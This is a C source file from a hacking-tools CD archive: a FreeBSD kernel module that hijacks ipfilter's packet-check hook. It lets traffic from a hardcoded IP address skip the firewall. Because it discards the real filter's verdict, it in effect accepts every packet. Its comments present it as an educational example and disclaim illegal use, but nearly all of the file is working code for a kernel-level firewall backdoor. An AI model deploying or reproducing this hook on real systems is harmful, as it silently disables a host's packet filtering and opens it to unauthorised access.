home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / ipfhack.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  2.9 KB  |  149 lines

  1. /*
  2.  * Filtering... IP FILTER
  3.  *
  4.  * After my kld for ipfw ... this is for ipfilter... it shows you 
  5.  * shortest way to do accept a pkt.... 
  6.  * 
  7.  * Warning: this kld doesn't process pkts from GO_JOHNNY_GO ip, also
  8.  *         options like FAST_ROUTE.... This is only an example ...
  9.  *         Use it only to understand ipfilter....
  10.  *         
  11.  *
  12.  * pigpen [pigpen@s0ftpj.org, deadhead@sikurezza.org]
  13.  * 
  14.  * SoftProject NoProfit 
  15.  * Italian Security Organization
  16.  * www.s0ftpj.org
  17.  *
  18.  * Sikurezza.org
  19.  * Italian Security MailingList
  20.  * www.sikurezza.org
  21.  *
  22.  */
  23.  
  24. /* 
  25.  * pay attention... this kld can change in future...
  26.  * 
  27.  * uname -a
  28.  *
  29.  * FreeBSD storpio.cameretta.pig 4.0-19990705-CURRENT FreeBSD 4.0-19990705-
  30.  * CURRENT #4 ..... i386
  31.  *
  32.  * If you wanna a porting of this code and you have no time to do that 
  33.  * write me at: deadhead@sikurezza.org with subject "PORTING A KLD"
  34.  * 
  35.  */
  36.  
  37. #define GO_JOHNNY_GO         "192.168.1.2"    
  38. /* Packets sent by this ip wouldn't process */
  39.  
  40. #include <sys/param.h>
  41. #include <sys/systm.h>
  42. #include <sys/malloc.h>
  43. #include <sys/mbuf.h>
  44. #include <sys/kernel.h>
  45. #include <sys/proc.h>
  46. #include <sys/socket.h>
  47. #include <sys/socketvar.h>
  48. #include <net/if.h>
  49. #include <netinet/in.h>
  50. #include <netinet/in_systm.h>
  51. #include <netinet/ip.h>
  52. #include <netinet/ip_var.h>
  53.  
  54.  
  55.  
  56. /* IPFILTER FreeBSD Options */
  57.  
  58. typedef struct ip    ip_t;
  59. typedef struct mbuf    mb_t;
  60.  
  61. /* A simple typedef for filter check prototypes */
  62.  
  63. typedef int ipfr_t    __P((ip_t *, int, void *, int, mb_t **));
  64.  
  65. /* Prototypes */
  66.  
  67. static int       s_load             __P((struct module *, int, void *));
  68. static u_int32_t inaton            __P((const char *));
  69. extern ipfr_t      fr_check, *fr_checkp;
  70. static ipfr_t     *fr;
  71. static ipfr_t     myfr;
  72.  
  73. /* module handler */
  74.  
  75. static int
  76. s_load (struct module *module, int cmd, void *arg)
  77. {
  78.  int s;
  79.  
  80.  switch(cmd) {
  81.     case MOD_LOAD:
  82.             s = splnet();
  83.             fr = fr_check;    /* I use a funct ptr... */
  84.             fr_checkp = myfr;
  85.                 splx(s);
  86.             break;
  87.             
  88.     case MOD_UNLOAD:
  89.             s = splnet();
  90.             fr_checkp = fr_check;
  91.             splx(s);
  92.             break;
  93.  }
  94.  
  95.  return 0;
  96. }
  97.  
  98. /* module struct */
  99.  
  100. static moduledata_t s_mod_1 = {
  101.             "ipfil_mod",
  102.             s_load,
  103.             0
  104. };
  105.  
  106.  
  107. DECLARE_MODULE(ipfil_mod, s_mod_1, SI_SUB_PSEUDO, SI_ORDER_ANY);
  108.  
  109.  
  110. /* hmmm ok ... this is short... maybe unstable... and every TYPE of 
  111.    action for "GO_JOHNNY_GO" ip wouldn't consider .... also FAST_ROUTE
  112.    and other options.... this is a complete filter... you can do it
  113.    better .... Sorry... I don't want to give you sources for illegal 
  114.    purposes ...  
  115.  */
  116.  
  117. static int myfr(ip_t *ip, int hlen, void *ifp, int out, mb_t **mp)
  118. {
  119.     if(ip->ip_src.s_addr != inaton(GO_JOHNNY_GO)) 
  120.         fr(ip, hlen, ifp, out, mp);
  121.     return 0;
  122. }
  123.  
  124.  
  125. u_int32_t inaton(const char *str)
  126. {
  127.     unsigned long l;
  128.     unsigned int val;
  129.     int i;
  130.  
  131.     l = 0;
  132.  
  133.     for(i=0; i < 4; i++) {
  134.         l <<= 8;
  135.         if(*str != '\0') {
  136.             val = 0;
  137.             while(*str != '\0' && *str != '.') {
  138.                 val *= 10;
  139.                 val += *str - '0';
  140.                 str++;
  141.             }
  142.             l |= val;
  143.             if(*str != '\0')
  144.                 str++;
  145.         }
  146.     }
  147.     return(htonl(l));
  148. }
  149.